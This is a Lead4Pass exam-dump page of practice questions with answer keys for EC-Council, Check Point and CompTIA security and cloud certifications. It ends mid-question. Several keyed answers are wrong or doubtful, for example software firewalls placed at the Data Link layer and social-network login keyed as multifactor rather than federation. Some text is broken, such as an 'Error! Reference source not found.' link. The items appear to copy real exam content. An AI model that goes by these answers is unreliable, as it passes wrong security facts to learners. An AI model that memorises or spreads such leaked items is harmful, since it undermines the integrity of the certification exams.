[2021.3] Get the latest ECCouncil ECSAV10 exam practice questions and free Pdf dumps from Lead4Pass

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Latest Update ECCouncil ECSAV10 Exam Practice Questions and Answers Online Test

QUESTION 1
An “idle” system is also referred to as what?
A. Zombie
B. PC not being used
C. Bot
D. PC not connected to the Internet
Correct Answer: A

 

QUESTION 2
Which of the following defines the details of services to be provided for the client\\’s organization and the list of services
required for performing the test in the organization?
A. Draft
B. Report
C. Requirement list
D. Quotation
Correct Answer: D

 

QUESTION 3
A web application developer is writing code for validating the user input. His aim is to verify the user input against a list
of predefined negative inputs to ensure that the received input is not one among the negative conditions. Identify the
input filtering mechanism being implemented by the developer?
A. Black listing
B. White listing
C. Authentication
D. Authorization
Correct Answer: A

 

QUESTION 4
NTP protocol is used to synchronize the system clocks of computers with a remote time server or time source over a
network. Which one of the following ports is used by NTP as its transport layer?
A. TCP port 152
B. UDP port 177
C. UDP port 123
D. TCP port 113
Correct Answer: C

 

QUESTION 5
AB Cloud services provide virtual platform services for the users in addition to storage. The company offers users with
APIs, core connectivity and delivery, abstraction and hardware as part of the service. What is the name of the service
AB Cloud services offer?
A. Web Application Services
B. Platform as a service (PaaS)
C. Infrastructure as a service (IaaS)
D. Software as a service (SaaS)
Correct Answer: C

 

QUESTION 6
Peter is working on a pen testing assignment. During the reconnaissance phase, Peter discovered that the client\\’s
SYSLOG systems are taken off for four hours on the second Saturday of every month for maintenance. He wants to
analyze
the client\\’s web pages for sensitive information without triggering their logging mechanism. There are hundreds of
pages on the client\\’s website and it is difficult to analyze all the information in just four hours.
What will Peter do to analyze all the web pages in a stealthy manner?
A. Use HTTrack to mirror the complete website
B. Use WayBackMachine
C. Perform reverse DNS lookup
D. Search the Internet, newsgroups, bulletin boards, and negative websites for information about the client
Correct Answer: A

 

QUESTION 7
Henderson has completed the pen testing tasks. He is now compiling the final report for the client. Henderson needs to
include the result of scanning that revealed a SQL injection vulnerability and different SQL queries that he used to
bypass
web application authentication.
In which section of the pen testing report, should Henderson include this information?
A. General opinion section
B. Methodology section
C. Comprehensive technical report section
D. Executive summary section
Correct Answer: C

 

QUESTION 8
In the TCP/IP model, the transport layer is responsible for the reliability and flow control from source to destination. TCP
provides the mechanism for flow control by allowing the sending and receiving hosts to communicate. A flow control
mechanism avoids the problem with a transmitting host overflowing the buffers in the receiving host.

EC-COUNCIL ECSAV10 practice test q8

A. Sliding Windows
B. Windowing
C. Positive Acknowledgment with Retransmission (PAR)
D. Synchronization
Correct Answer: C

 

QUESTION 9
Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate. He knows he
needs to allow FTP traffic to one of the servers on his network, but he wants to only allow FTP-PUT. Which firewall
would be most appropriate for Harold?
A. Application-level proxy firewall
B. Data link layer firewall
C. Packet filtering firewall
D. circuit-level proxy firewall
Correct Answer: A

 

QUESTION 10
Software firewalls work at which layer of the OSI model?
A. Data Link
B. Network
C. Transport
D. Application
Correct Answer: A

 

QUESTION 11
John and Hillary work in the same department in the company. John wants to find out Hillary\\’s network password so
he can take a look at her documents on the file server. He enables the Lophtcrack program to sniff mode. John sends
Hillary
an email with a link to Error! Reference source not found.
What information will he be able to gather from this?
A. The SID of Hillary\\’s network account
B. The network shares that Hillary has permissions
C. The SAM file from Hillary\\’s computer
D. Hillary\\’s network username and password hash
Correct Answer: D

 

QUESTION 12
Russel, a penetration tester after performing the penetration testing, wants to create a report so that he can provide
details of the testing process and findings of the vulnerabilities to the management. Russel employs the commonly
available
vulnerability scoring framework called Common Vulnerability Scoring System (CVSS) v3.0 ratings for grading the
severity and risk level of identified vulnerabilities in the report. For a specific SMB-based vulnerability, Russel assigned
a score
of 8.7.
What is the level of risk or level of severity of the SMB vulnerability as per CVSS v3.0 for the assigned score?
A. Critical
B. Low
C. Medium
D. High
Correct Answer: D

 

QUESTION 13
Allen and Greg, after investing in their startup company called Zamtac Ltd., developed a new web application for their
company. Before hosting the application, they want to test the robustness and immunity of the developed web
application
against attacks like buffer overflow, DOS, XSS, and SQL injection.
What is the type of web application security test Allen and Greg should perform?
A. Web fuzzing
B. Web crawling
C. Web spidering
D. Web mirroring
Correct Answer: A


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Latest Update ECCouncil 312-50V11 Exam Practice Questions and Answers Online Test

QUESTION 1
Which of the following tools is used to analyze the files produced by several packet-capture programs such as tcpdump,
WinDump, Wireshark, and EtherPeek?
A. tcptrace
B. Nessus
C. OpenVAS
D. tcptraceroute
Correct Answer: A

 

QUESTION 2
A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point.
The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the
technician examines the IP address and default gateway they are both on the 192.168.1.0/24. Which of the following
has occurred?
A. The computer is not using a private IP address.
B. The gateway is not routing to a public IP address.
C. The gateway and the computer are not on the same network.
D. The computer is using an invalid IP address.
Correct Answer: B

 

QUESTION 3
What is not a PCI compliance recommendation?
A. Use a firewall between the public network and the payment card data.
B. Use encryption to protect all transmission of card holder data over any public network.
C. Rotate employees handling credit card transactions on a yearly basis to different departments.
D. Limit access to card holder data to as few individuals as possible.
Correct Answer: C

 

QUESTION 4
Although FTP traffic is not encrypted by default, which layer 3 protocol would allow for end-to-end encryption of the
connection?
A. SFTP
B. Ipsec
C. SSL
D. FTPS
Correct Answer: B

 

QUESTION 5
Which method of password cracking takes the most time and effort?
A. Dictionary attack
B. Shoulder surfing
C. Rainbow tables
D. Brute force
Correct Answer: D

 

QUESTION 6
Which of the following tools is used to detect wireless LANs using the 802.11a/b/g/n WLAN standards on a linux
platform?
A. Kismet
B. Abel
C. Netstumbler
D. Nessus
Correct Answer: A

 

QUESTION 7
Which of the following is the structure designed to verify and authenticate the identity of individuals within the enterprise
taking part in a data exchange?
A. SOA
B. biometrics
C. single sign on
D. PKI
Correct Answer: D

 

QUESTION 8
The collection of potentially actionable, overt, and publicly available information is known as
A. Open-source intelligence
B. Real intelligence
C. Social intelligence
D. Human intelligence
Correct Answer: A

 

QUESTION 9
You need to deploy a new web-based software package for your organization. The package requires three separate
servers and needs to be available on the Internet. What is the recommended architecture in terms of server placement?
A. All three servers need to be placed internally
B. A web server facing the Internet, an application server on the internal network, a database server on the internal
network
C. A web server and the database server facing the Internet, an application server on the internal network
D. All three servers need to face the Internet so that they can communicate between themselves
Correct Answer: B

 

QUESTION 10
A regional bank hires your company to perform a security assessment on their network after a recent data breach. The
attacker was able to steal financial data from the bank by compromising only a single server.
Based on this information, what should be one of your key recommendations to the bank?
A. Place a front-end web server in a demilitarized zone that only handles external web traffic
B. Require all employees to change their anti-virus program with a new one
C. Move the financial data to another server on the same IP subnet
D. Issue new certificates to the web servers from the root certificate authority
Correct Answer: A


QUESTION 11
To determine if a software program properly handles a wide range of invalid input, a form of automated testing can be
used to randomly generate invalid input in an attempt to crash the program.
What term is commonly used when referring to this type of testing?
A. Randomizing
B. Bounding
C. Mutating
D. Fuzzing
Correct Answer: D

 

QUESTION 12
Which of the following is the best countermeasure to encrypting ransomwares?
A. Use multiple antivirus softwares
B. Pay a ransom
C. Keep some generation of off-line backup
D. Analyze the ransomware to get decryption key of encrypted data
Correct Answer: C

 

QUESTION 13
While performing online banking using a Web browser, a user receives an email that contains a link to an interesting
Web site. When the user clicks on the link, another Web browser session starts and displays a video of cats playing a
piano. The next business day, the user receives what looks like an email from his bank, indicating that his bank account
has been accessed from a foreign country. The email asks the user to call his bank and verify the authorization of a
funds transfer that took place. What Web browser-based security vulnerability was exploited to compromise the user?
A. Clickjacking
B. Cross-Site Scripting
C. Cross-Site Request Forgery
D. Web form input validation
Correct Answer: C


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Latest Update ECCouncil 212-89 Exam Practice Questions and Answers Online Test

QUESTION 1
Adam calculated the total cost of a control to protect 10,000 $ worth of data as 20,000 $. What do you advise Adam to
do?
A. Apply the control
B. Not to apply the control
C. Use qualitative risk assessment
D. Use semi-qualitative risk assessment instead
Correct Answer: B

 

QUESTION 2
Spyware tool used to record malicious user\\’s computer activities and keyboard stokes is called:
A. adware
B. Keylogger
C. Rootkit
D. Firewall
Correct Answer: B

 

QUESTION 3
Which of the following is NOT one of the techniques used to respond to insider threats:
A. Placing malicious users in quarantine network, so that attack cannot be spread
B. Preventing malicious users from accessing unclassified information
C. Disabling the computer systems from network connection
D. Blocking malicious user accounts
Correct Answer: B

 

QUESTION 4
What is the best staffing model for an incident response team if current employees\\’ expertise is very low?
A. Fully outsourced
B. Partially outsourced
C. Fully insourced
D. All the above
Correct Answer: A

 

QUESTION 5
ADAM, an employee from a multinational company, uses his company\\’s accounts to send e-mails to a third party with
their spoofed mail address. How can you categorize this type of account?
A. Inappropriate usage incident
B. Unauthorized access incident
C. Network intrusion incident
D. Denial of Service incident
Correct Answer: A

 

QUESTION 6
A computer forensic investigator must perform a proper investigation to protect digital evidence. During the
investigation, an investigator needs to process large amounts of data using a combination of automated and manual
methods. Identify the computer forensic process involved:
A. Analysis
B. Preparation
C. Examination
D. Collection
Correct Answer: C

 

QUESTION 7
The free, open source, TCP/IP protocol analyzer, sniffer and packet capturing utility standard across many industries
and educational institutions is known as:
A. Snort
B. Wireshark
C. Cain and Able
D. nmap
Correct Answer: B

 

QUESTION 8
In which of the steps of NIST\\’s risk assessment methodology are the boundary of the IT system, along with the
resources and the information that constitute the system identified?
A. Likelihood Determination
B. Control recommendation
C. System characterization
D. Control analysis
Correct Answer: C

 

QUESTION 9
Which of the following is NOT a digital forensic analysis tool:
A. Access Data FTK
B. EAR/ Pilar
C. Guidance Software EnCase Forensic
D. Helix
Correct Answer: B

 

QUESTION 10
Which test is conducted to determine the incident recovery procedures effectiveness?
A. Live walk-throughs of procedures
B. Scenario testing
C. Department-level test
D. Facility-level test
Correct Answer: A

 

QUESTION 11
According to US-CERT; if an agency is unable to successfully mitigate a DOS attack it must be reported within:
A. One (1) hour of discovery/detection if the successful attack is still ongoing
B. Two (2) hours of discovery/detection if the successful attack is still ongoing
C. Three (3) hours of discovery/detection if the successful attack is still ongoing
D. Four (4) hours of discovery/detection if the successful attack is still ongoing
Correct Answer: B

 

QUESTION 12
Total cost of disruption of an incident is the sum of
A. Tangible and Intangible costs
B. Tangible cost only
C. Intangible cost only
D. Level Two and Level Three incidents cost
Correct Answer: A

 

QUESTION 13
Which is the incorrect statement about Anti-keyloggers scanners:
A. Detect already installed Keyloggers in victim machines
B. Run in stealthy mode to record victims online activity
C. Software tools
Correct Answer: B


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[2021.3] Get the latest CheckPoint 156-915.80 exam practice questions and free Pdf dumps from Lead4Pass

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Latest Update CheckPoint 156-915.80 Exam Practice Questions and Answers Online Test

QUESTION 1
What is not a component of Check Point SandBlast?
A. Threat Emulation
B. Threat Simulation
C. Threat Extraction
D. Threat Cloud
Correct Answer: B

 

QUESTION 2
What is the purpose of Priority Delta in VRRP?
A. When a box is up, Effective Priority = Priority + Priority Delta
B. When an Interface is up, Effective Priority = Priority + Priority Delta
C. When an Interface fails, Effective Priority = Priority?Priority Delta
D. When a box fails, Effective Priority = Priority?Priority Delta
Correct Answer: C
Each instance of VRRP running on a supported interface may monitor the link state of other interfaces. The monitored
interfaces do not have to be running VRRP. If a monitored interface loses its link-state, then VRRP will decrement its
priority over a VRID by the specified delta value and then will send out a new VRRP HELLO packet. If the new effective
priority is less than the priority a backup platform has, then the backup platform will begin to send out its own HELLO
packet. Once the master sees this packet with a priority greater than its own, then it releases the VIP. Reference: HTTPS://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=andsolutionid=sk38524

 

QUESTION 3
What is the main difference between Threat Extraction and Threat Emulation?
A. Threat Emulation never delivers a file and takes more than 3minutes to complete
B. Threat Extraction always delivers a file and takes less than a second to complete
C. Threat Emulation never delivers a file that takes less than a second to complete
D. Threat Extraction never delivers a file and takes more than 3 minutes to complete
Correct Answer: B


QUESTION 4
Type the full fw command and syntax that allows you to disable only sync on a cluster firewall member.
Correct Answer: fw ctl setsync off

 

QUESTION 5
You find one of your cluster gateways showing “Down” when you run the “cphaprob stat” command. You then run the
“clusterXL_admin up” on the down member but unfortunately the member continues to showdown. What command do
you run to determine the case?
A. cphaprob -f register
B. cphaprob -d-s report
C. cpstat-f-all
D. cphaprob -a list
Correct Answer: D
Reference: http://dl3.checkpoint.com/paid/63/6357d81e3b75b5a09a422d715c3b3d79/CP_R80.10_ClusterXL_AdminGui
de.pdf?HashKey=1522170580_c51bd784a86600b5f6141c0f1a6322fdandxtn=.pdf

 

QUESTION 6
What\\’s true about the Troubleshooting option in the IPS profile properties?
A. Temporarily change the active protection profile to “Default_Protection”
B. Temporarily set all protections to track (log) in SmartView Tracker
C. Temporarily will disable IPS kernel engine
D. Temporarily set all active protections to Detect
Correct Answer: B
Reference: https://sc1.checkpoint.com/documents/R76/CP_R76_IPS_AdminGuide/52512.htm

 

QUESTION 7
To help SmartEvent determine whether events originated internally or externally you must define using the initial
settings under General Settings in the Policy Tab. How many options are available to calculate the traffic direction?
A. 5 Network, Host, Objects, Services, API
B. 3 Incoming; Outgoing; Network
C. 2 Internal; External
D. 4. Incoming; Outgoing; Internal; Other
Correct Answer: D
Reference: https://sc1.checkpoint.com/documents/R80/CP_R80_LoggingAndMonitoring/html_frameset.htm?topic=documents/R80/CP_R80_LoggingAndMonitoring/131915

 

QUESTION 8
When configuring numbered VPN Tunnel Interfaces (VTIs) in a clustered environment, what issues need to be
considered?
1) Each member must have a unique source IP address.
2) Every interface on each member requires a unique IP address.
3) All VTI\\’s going to the same remote peer must have the same name.
4) Cluster IP addresses are required.
A. 1, 2, and 4
B. 2 and 3
C. 1, 2, 3 and 4
D. 1, 3, and 4
Correct Answer: C

 

QUESTION 9
Which of the following are authentication methods that Security Gateway R80 uses to validate connection attempts?
Select the response below that includes the MOST complete list of valid authentication methods.
A. Proxied, User, Dynamic, Session
B. Connection, User, Client
C. User, Client, Session
D. User, Proxied, Session
Correct Answer: C

 

QUESTION 10
On R80.10 the IPS Blade is managed by:
A. Threat Protection policy
B. Anti-Bot Blade
C. Threat Prevention policy
D. Layers on the Firewall policy
Correct Answer: C

 

QUESTION 11
As a Security Administrator, you must refresh the Client Authentication authorization time-out every time a new user
connection is authorized. How do you do this? Enable the Refreshable Timeout setting:
A. in the user object\\’s Authentication screen.
B. in the Gateway object\\’s Authentication screen.
C. in the Limit tab of the Client Authentication Action Properties screen.
D. in the Global Properties Authentication screen.
Correct Answer: C

 

QUESTION 12
Security Gateway R80 supports User Authentication for which of the following services? Select the response below that
contains the MOST correct list of supported services.
A. SMTP, FTP, TELNET
B. SMTP, FTP, HTTP, TELNET
C. FTP, HTTP, TELNET
D. FTP, TELNET
Correct Answer: C

 

QUESTION 13
What command syntax would you use to turn on PDP logging in a distributed environment?
A. PDP track=1
B. PDP tracker on
C. PDP logging on
D. PDP log=1
Correct Answer: B


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Latest Update CheckPoint 156-215.80 Exam Practice Questions and Answers Online Test

QUESTION 1
Which of the following is NOT an element of VPN Simplified Mode and VPN Communities?
A. “Encrypt” action in the Rule Base
B. Permanent Tunnels
C. “VPN” column in the Rule Base
D. Configuration checkbox “Accept all encrypted traffic”
Correct Answer: A
Migrating from Traditional Mode to Simplified Mode
To migrate from Traditional Mode VPN to Simplified Mode:
1.
On the Global Properties > VPN page, select one of these options: Simplified mode to all new Firewall Policies
Traditional or Simplified per new Firewall Policy
2.
Click OK.
3.
From the R80 SmartConsole Menu, select Manage policies.
The Manage Policies window opens.
4.
Click New.
The New Policy window opens.
5.
Give a name to the new policy and select Access Control.
In the Security Policy Rule Base, a new column marked VPN shows and the Encrypt option is no longer available in the
Action column. You are now working in Simplified Mode.
Reference: http://dl3.checkpoint.com/paid/05/05e695b2012b4fd1d2bdfeccecd29290/CP_R80BC_VPN_AdminGuide.pdf?HashKey=1479823792_55fbc10656c87db4fcf742f4899ba90dandxtn=.pdf

 

QUESTION 2
A Cleanup rule:
A. logs connections that would otherwise be dropped without logging by default.
B. drops packets without logging connections that would otherwise be dropped and logged by default.
C. logs connections that would otherwise be accepted without logging by default.
D. drops packets without logging connections that would otherwise be accepted and logged by default.
Correct Answer: A

 

QUESTION 3
When connected to the Check Point R80 Management Server using the SmartConsole the first administrator to connect
has a lock on:
A. Only the objects being modified in the Management Database and other administrators can connect to make
changes using a special session as long as they all connect from the same LAN network.
B. The entire Management Database and other administrators can connect to make changes only if the first
administrator switches to Read-only.
C. The entire Management Database and all sessions and other administrators can connect only as Read-only.
D. Only the objects being modified in his session of the Management Database and other administrators can connect to
make changes using different sessions.
Correct Answer: D

 

QUESTION 4
Vanessa is attempting to log into the Gaia Web Portal. She is able to login successfully. Then she tries the same
username and password for SmartConsole but gets the message in the screenshot image below. She has checked that
the IP address of the server is correct and the username and password she used to login into Gaia is also correct.[2021.3] lead4pass 156-215.80 q4

What is the most likely reason?
A. Check Point R80 SmartConsole authentication is more secure than in previous versions and Vanessa requires a
special authentication key for R80 SmartConsole. Check that the correct key details are used.
B. Check Point Management software authentication details are not automatically the same as the Operating System
authentication details. Check that she is using the correct details.
C. SmartConsole Authentication is not allowed for Vanessa until a Super administrator has logged in first and cleared
any other administrator sessions.
D. Authentication failed because Vanessa\\’s username is not allowed in the new Threat Prevention console update
checks even though these checks passed with Gaia.
Correct Answer: B

 

QUESTION 5
ALPHA Corp has a new administrator who logs into the Gaia Portal to make some changes. He realizes that even
though he has logged in as an administrator, he is unable to make any changes because all configuration options are
greyed out as shown in the screenshot image below. What is the likely cause for this?[2021.3] lead4pass 156-215.80 q5

A. The Gaia /bin/confd is locked by another administrator from a SmartConsole session.
B. The database is locked by another administrator SSH session.
C. The Network address of his computer is in the blocked hosts.
D. The IP address of his computer is not in the allowed hosts.
Correct Answer: B
There is a lock on the top left side of the screen. B is the logical answer.

 

QUESTION 6
Which message indicates IKE Phase 2 has completed successfully?
A. Quick Mode Complete
B. Aggressive Mode Complete
C. Main Mode Complete
D. IKE Mode Complete
Correct Answer: A

 

QUESTION 7
Which of the following is NOT a valid application navigation tab in the R80 SmartConsole?
A. Manage and Command Line
B. Logs and Monitor
C. Security Policies
D. Gateway and Servers
Correct Answer: A[2021.3] lead4pass 156-215.80 q7

Reference: https://sc1.checkpoint.com/documents/R80.10/SmartConsole_OLH/EN/html_frameset.htm?topic=documents/R80.10/SmartConsole_OLH/EN/4x3HIUbSkxYhtcFgIKlg0w2

 

QUESTION 8
What is the best sync method in the ClusterXL deployment?
A. Use 1 cluster + 1st sync
B. Use 1 dedicated sync interface
C. Use 3 clusters + 1st sync + 2nd sync + 3rd sync
D. Use 2 clusters + 1st sync + 2nd sync
Correct Answer: B

 

QUESTION 9
Which of these components does NOT require a Security Gateway R77 license?
A. Security Management Server
B. Check Point Gateway
C. SmartConsole
D. SmartUpdate upgrading/patching
Correct Answer: C

 

QUESTION 10
To quickly review when Threat Prevention signatures were last updated, which Threat Tool would an administrator
use?
A. Protections
B. IPS Protections
C. Profiles
D. ThreatWiki
Correct Answer: B

 

QUESTION 11
Examine the sample Rule Base.[2021.3] lead4pass 156-215.80 q11

What will be the result of verification of the policy from SmartConsole?
A. No errors or Warnings B. Verification Error. Empty Source-List in Rule 5 (Mail Inbound)
C. Verification Error. Rule 4 (Web Inbound) hides Rule 6 (Webmaster access)
D. Verification Error. Rule 7 (Clean-Up Rule) hides Implicit Clean-up Rule
Correct Answer: C

 

QUESTION 12
R80 Security Management Server can be installed on which of the following operating systems?
A. Gaia only
B. Gaia, SPLAT, Windows Server only
C. Gaia, SPLAT, Windows Server, and IPSO only
D. Gaia and SPLAT only
Correct Answer: A
R80 can be installed only on GAIA OS.
Supported Check Point Installations All R80 servers are supported on the Gaia Operating System:
1.
?Security Management Server
2.
?Multi-Domain Security Management Server
3.
?Log Server
4.
?Multi-Domain Log Server
5.
?SmartEvent Server
Reference: http://dl3.checkpoint.com/paid/1f/1f7e21da67aa992954aa12a0a84e53a8/CP_R80_ReleaseNotes.pdf?HashKey=1479838085_d6ffcb36c6a3128708b3f6d7bcc4f94eandxtn=.pdf

 

QUESTION 13
Choose the SmartLog property that is TRUE.
A. SmartLog has been an option since release R71.10.
B. SmartLog is not a Check Point product.
C. SmartLog and SmartView Tracker are mutually exclusive.
D. SmartLog is a client of SmartConsole that enables enterprises to centrally track log records and security activity with
Google-like search.
Correct Answer: D


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Latest Update CheckPoint 156-115.80 Exam Practice Questions and Answers Online Test

QUESTION 1
A Firewall administrator is attempting to push a policy to a new Security Gateway for a remote office but the installation
fails. The Management Server IP is 10.1.1.101. Initial troubleshooting shows that policy is successfully transferred to the
Gateway. What command would you use to attempt to identify the cause of the issue?
A. fw ctl debug –T –f > /var/log/p_debug.txt
B. cp_merge export_policy –s 10.1.1.101 –n Standard $var/log/
C. fw ctl debug –m 10.1.1.101
D. fw fetchlocal –d $FWDIR/state/_tmp/FW1
Correct Answer: D

 

QUESTION 2
How can you print the session UUID and the UUID of a connection together in fw monitor?
A. The switches –s and –u are mutually exclusive and cannot be printed together
B. fw –s monitor –u –e “accept ;”
C. fw monitor –uids –e “accept ;”
D. fw monitor –s –u –e “accept ;”
Correct Answer: A
Reference: https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=andsolutionid=sk30583

 

QUESTION 3
Which database domain stores URL filtering updates?
A. Threat Prevention Domain
B. Application Control domain
C. IPS Domain
D. Check Point Data Domain
Correct Answer: B


QUESTION 4
Which of the following is NOT a feature of ClusterXL?
A. Transparent upgrades
B. Zero downtime for mission-critical environments with State Synchronization
C. Enhanced throughput in all ClusterXL modes (2 gateway cluster compared with 1 gateway)
D. Transparent failover in case of device failures
Correct Answer: C
Reference: https://sc1.checkpoint.com/documents/R76/CP_R76_ClusterXL_AdminGuide/7292.htm

 

QUESTION 5
Which of the following is correct in a Threat Prevention policy?
A. Threat Prevention inspects traffic to all objects specified in the Protected Scope
B. Threat Prevention inspects traffic to and/or from all objects specified in the Protected Scope
C. Threat Prevention is applied based on the profile. Protection Scope does not have any relevance
D. Threat Prevention inspects traffic from all objects specified in the protected Scope
Correct Answer: B
Reference: https://sc1.checkpoint.com/documents/R80.10/WebAdminGuides/EN/
CP_R80.10_ThreatPrevention_AdminGuide/html_frameset.htm?topic=documents/R80.10/ WebAdminGuides/EN/
CP_R80.10_ThreatPrevention_AdminGuide/136933

 

QUESTION 6
You run “cat/proc/smt_status” on your security gateway and the output shows `Soft Disable\\’. How is your system
configured in reference to hyper-threading?
A. Hyper-threading is disabled in BIOS and cpconfig
B. Hyper-threading is enabled in BIOS but disabled in cpconfig
C. Hyper-threading is disabled in BIOS but enabled in cpconfig
D. Your system does not support Hyper-threading
Correct Answer: B
Reference: https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=andsolutionid=sk93000


QUESTION 7
What is the Debug Output path for the CPM process?
A. $CPDIR/debug/cpm.elg
B. /proc/sys/cp/cpm/cpm.csv
C. /var/log/dbg/cpm.elg
D. $FWDIR/log/cpm.elg
Correct Answer: D
Reference: https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=andsolutionid=sk97638

 

QUESTION 8
Which command would you use to check CoreXL instances for IPv6 traffic?
A. fwaccel6 stats
B. fwaccel6 stat
C. fw ctl multik stat
D. fw6ctl multik stat
Correct Answer: C

 

QUESTION 9
Consider an IKE debug file that has been generated when debugging an issue with site-to-site VPN. What is the
purpose of a NONCE?
A. Randomly generated part of key generation
B. Vendor ID and Remote Gateway ID
C. Protocol 50 and 51 representations
D. Fixed hex value of Phase 2 keys with PFS
Correct Answer: A

 

QUESTION 10
Which of the connections cannot be accelerated with SecureXL?
A. Every NAT\\’ed connection
B. Every encrypted connection, such as HTTPS or SSH connections
C. Every connection destined to the Security Gateways
D. Every connection through a rule using a time object
Correct Answer: A

 

QUESTION 11
Which command shows the proxy arp configuration on the firewall?
A. show arp
B. fw ctl arp
C. show proxy-arp
D. arp –s
Correct Answer: B
Reference: https://sc1.checkpoint.com/documents/R80.40/WebAdminGuides/EN/CP_R80.40_CLI_ReferenceGuide/Content/Topics-CLIG/FWG/fw-ctl-arp.htm

 

QUESTION 12
Why should you run “clusterXL_admin down –p” command?
A. You want to keep the peers in sync during the failover testing
B. This option is required with clusterXL_admin command
C. With the –p option, monitoring of critical devices will continue
D. This option allows automatic failover if the active member experiences a problem
Correct Answer: B

 

QUESTION 13
What is the primary advantage of using the fw monitor tool?
A. It always captures all packets hitting the physical layer
B. It is menu-driven, making it easy to configure
C. It has no negative impact on firewall performance
D. It can capture packets in various positions as they move through the firewall
Correct Answer: D
Reference: https://dl3.checkpoint.com/paid/16/HowTo_Configure_Templates_FWMonitor.pdf?HashKey=1607631676_23e6443e7344d68ad339ffc7101f46faandxtn=.pdf


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QUESTION 1
A company has just completed a security audit and received initial results from the auditor. The results show that the
ethical hacker was able to gain access to the company servers by exploiting non-hardened VMs and hosts as guests
and administrators. Which of the following should be implemented to harden the environment? (Select two.)
A. Discretionary access controls
B. Disable unnecessary accounts
C. Change default passwords
D. Install antivirus software
E. Role-based access controls
Correct Answer: BE

 

QUESTION 2
Which of the following is the BEST method to isolate iSCSI network traffic?
A. WWPN Zoning
B. WWNN Zoning
C. Dedicated VLANs
D. LUN Masking
Correct Answer: C

 

QUESTION 3
Which of the following protocols allows fibre channel to be transmitted over the network?
A. HBA
B. FCoE
C. NFS
D. iSCSI
Correct Answer: B

 

QUESTION 4
A system administrator found that a user repeatedly violates acceptable use policies by consuming more disk space
than the user is authorized to consume. Which of the following tools should the administrator use to enforce the
acceptable use policy?
A. Quotas
B. Resource pools
C. LUN masking
D. Reservations
Correct Answer: A

 

QUESTION 5
Cloud bursting can alleviate which of the following attacks?
A. Buffer Overflow
B. Brute Force
C. XSS
D. DDOS
Correct Answer: D
http://ieeexplore.ieee.org/document/6141288/

 

QUESTION 6
A company that provides cloud-based storage services allows user authentication using third-party social network
credentials. Which of the following should be implemented to accomplish this task?
A. Multifactor authentication
B. Virtual private network
C. Federation D. Domain trusts
Correct Answer: A

 

QUESTION 7
A cloud administrator needs to configure multiple web servers to participate actively in workload processing. Which of
the following will BEST help the administrator achieve this goal?
A. Deploy availability group and enable autoscaling.
B. Deploy availability group and enable load balancing.
C. Deploy a reverse proxy in the DMZ.
D. Deploy an HA group and make each website public.
Correct Answer: B

 

QUESTION 8
A new SaaS timecard application that is being tested will be used by all employees at a large corporation. The following
process was used to test the application:
1.
Three users from each site used the application for three weeks.
2.
The new application was used side by side with the existing application.
3.
The outputs of the old and new applications were compared side by side.
Which of the following requirements did the testing plan confirm? (Select two.)
A. High availability
B. Performance
C. Connectivity
D. Data integrity
E. Sizing
F. Security
Correct Answer: BDE

 

QUESTION 9
A company has decided to scale its e-commerce application from its corporate datacenter to a commercial cloud
provider to meet an anticipated increase in demand during an upcoming holiday. The majority of the application load
takes place on the application server under normal conditions. For this reason, the company decides to deploy
additional application servers into a commercial cloud provider using the on-premises orchestration engine that installs
and configures common software and network configurations. The remote computing environment is connected to the
on-premises datacenter via a site-to-site IPSec tunnel. The external DNS provider has been configured to use weighted
round-robin routing to load balance connections from the Internet.
During testing, the company discovers that only 20% of connections completed successfully.
Review the network architecture and supporting documents and fulfill these requirements: Identify the correct options to
provide adequate configuration for hybrid cloud architecture.
Instructions:
If at any time you would like to bring back the initial state of the simulation, please select the Reset button. When you
have completed the simulation, please select the Done button to submit. Once the simulation is submitted, please select
the Next button to continue.
Simulation[2021.1] lead4pass cv0-002 exam questions q9 [2021.1] lead4pass cv0-002 exam questions q9-1 [2021.1] lead4pass cv0-002 exam questions q9-2 [2021.1] lead4pass cv0-002 exam questions q9-3 [2021.1] lead4pass cv0-002 exam questions q9-4 [2021.1] lead4pass cv0-002 exam questions q9-5 [2021.1] lead4pass cv0-002 exam questions q9-6

Instruction: Only select a maximum of TWO options from the multiple-choice question.
A. Deploy a Replica of the Database Server in the Cloud Provider
B. Update the PSK (Pre-shared key in Router2)
C. Update the A record on the DNS from 2.2.2.2 to 1.1.1.1
D. Promote deny All to allow All in Firewall1 and Firewall2
E. Change the Address Space on Router2
F. Change internal IP Address of Router1
G. Reverse the Weight property in the two CNAME records on the DNS
H. Add the Application Server at on-premises to the Load Balancer
Correct Answer: AH

 

QUESTION 10
A hypervisor that prevents vendor lock-in is:
A. a proprietary hypervisor.
B. an integrated hypervisor.
C. an open-source hypervisor.
D. a framework hypervisor.
Correct Answer: C

 

QUESTION 11
A cloud provider is evaluating an insider threat. A resource from the company operations team has access to the
servers\\’ virtual disks. This poses a risk that someone could copy and move the virtual server image and have access
to the data. Which of the following solutions would help mitigate this problem?
A. Tokenization
B. Encryption
C. Virtual firewall
D. Hashing
Correct Answer: A

 

QUESTION 12
The fault-tolerant design allows a host to overcome a single HBA failure through:
A. clustering
B. UTA pairing
C. multipathing
D. NIC teaming
Correct Answer: A
http://www.ques10.com/p/2619/write-short-note-on-failure-analysis/

 

QUESTION 13
A company has a private cloud NAC solution in place to prevent unauthorized/non-company assets from connecting to
the internal network. A cloud systems administrator cannot add a new physical server to the existing functioning cluster.
Which of the following is the MOST likely cause of this issue?
A. Server objects were deleted.
B. The DNS and DHCP servers are down.
C. The new physical server has a faulty NIC.
D. Server MAC addresses are not being updated.
Correct Answer: A

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QUESTION 1
During an investigation, an incident responder intends to recover multiple pieces of digital media. Before removing the
media, the responder should initiate:
A. malware scans.
B. secure communications.
C. chain of custody forms.
D. decryption tools.
Correct Answer: C

 

QUESTION 2
An analyst is performing penetration testing and vulnerability assessment activities against a new vehicle automation
platform. Which of the following is MOST likely an attack vector that is being utilized as part of the testing and
assessment?
A. FaaS
B. RTOS
C. SoC
D. GPS
E. CAN bus
Correct Answer: B
IoT devices also often run real-time operating systems (RTOS). These are either special purpose operating systems or
variants of standard operating systems designed to process data rapidly as it arrives from sensors or other IoT
components.

 

QUESTION 3
